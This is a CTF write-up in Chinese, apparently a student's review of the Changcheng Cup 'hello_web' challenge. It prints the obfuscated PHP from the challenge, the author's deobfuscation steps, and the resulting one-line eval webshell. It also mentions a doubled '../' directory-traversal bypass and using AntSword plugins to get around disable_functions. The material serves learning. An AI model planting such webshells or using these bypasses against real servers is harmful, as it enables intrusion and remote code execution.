2024下半年长城杯回顾
在机房上从新回顾3个月前的长城杯web题wp,发现已经能看懂不少了
追忆1 hello_web
还记得当初做这题就是在那干瞪眼,用dirsearch和查看前端认出了个hackme.php。
已经没有题目环境了,干看大佬的wp
https://ya1orin.github.io/posts/cbe4da55.html
那大概就是双写../进行绕过来目录穿越访问到tips和hackme
(主要是要学一下面对未知环境时该怎么办,现在还没有一套渗透流程,起手fuzz都fuzz不明白)
然后能在tips看到phpinfo和过滤内容
然后是hackme.php
1 2 3 4 5
| <?php highlight_file(__FILE__); $lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw==")); ?>
|
看到大佬们说给反混淆一下就行了,我搞了两节课大约一个半小时才搞明白😫…..
步骤就是先按php的分号给分明白代码行,然后尝试用厨子解码里面看不懂的东西
这是我搞的:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__); $lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME"; $OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel"; $lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30}; $OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24}; $YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24}; $rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox=="; eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)))); echo('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
|
其中一些变量扔厨子也煮不出来,看佬们wp也是不动它们,
重要是不知道要echo的东西大佬们是怎么知道的,又去找一大堆wp,好像都是默认知道要echo啥一样,最后自己仔细看了一遍发现就是把base解码出来的eval里的内容echo出来😫。。。
即使蠢如猪豚我也要在ctf走下去口牙!我就是这样的哈基尸啊
最后运行结果好像输出一大串css还是html的东西,但是最后有一句话木马,get到密码了
1
| </code>?><?php @eval($_POST['cmd_66.99']); ?>
|
最后是连木马,但是注意要用蚁剑的UserFilter插件,这个是针对php7版本的绕过插件
https://hcnote.cn/2024/12/25/12056.html
也可以用其它插件来绕过disable_fuction
https://www.cnblogs.com/DumpInfou/p/18023278
https://ya1orin.github.io/posts/cbe4da55.html
linux下搜索flag字符
1 2 3
| find / -name flag -type f 2>/dev/null
grep -rvh ‘flag’
|